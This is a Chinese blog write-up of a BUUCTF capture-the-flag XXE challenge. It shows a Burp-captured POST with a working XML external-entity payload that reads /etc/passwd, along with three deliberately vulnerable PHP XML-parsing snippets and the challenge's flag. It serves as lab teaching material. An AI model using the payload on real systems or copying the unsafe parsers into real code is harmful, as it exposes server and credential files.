XXE之读取任意文件 BUUCTF [PHP]XXE

开启BUUCTF靶场,打开链接:

很明显是个phpinfo.php文件


直接Ctfl F搜索flag,发现还真有,尝试输入flag看看什么情况?

flag{cce98ec0-f1e6-416f-86d7-9b174202e678}

呃呃,还真是flag,不过还是换种思路来做吧


看到上面有个github的链接,点进去看看

发现是一段例子和介绍,将其复制到《XML基础知识之外部实体》一文中了


用burp进行抓包并发送到Repeater中

发现是个GET类型的


添加github网站中的示例payload并改成POST类型:


simplexml_load_string.php:

<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

echo $xml->name;

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<root>

<name>&xxe;</name>

</root>

成功读取到/etc/passwd文件内容

(注意:这里的POST的php文件名字必须是simplexml_load_string.php)


另外两个php文件内容及POST的文件名:

SimpleXMLElement.php:

<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);

echo $xml->name;


dom.php:

<?php
$data = file_get_contents('php://input');

$dom = new DOMDocument();
$dom->loadXML($data);

print_r($dom);


用dirsearch扫一下敏感文件:

不知道得扫到猴年马月啊!将<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>改成"file:///phpinfo.php"也没显示出phpinfo.php文件内容,不知道怎么解决了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值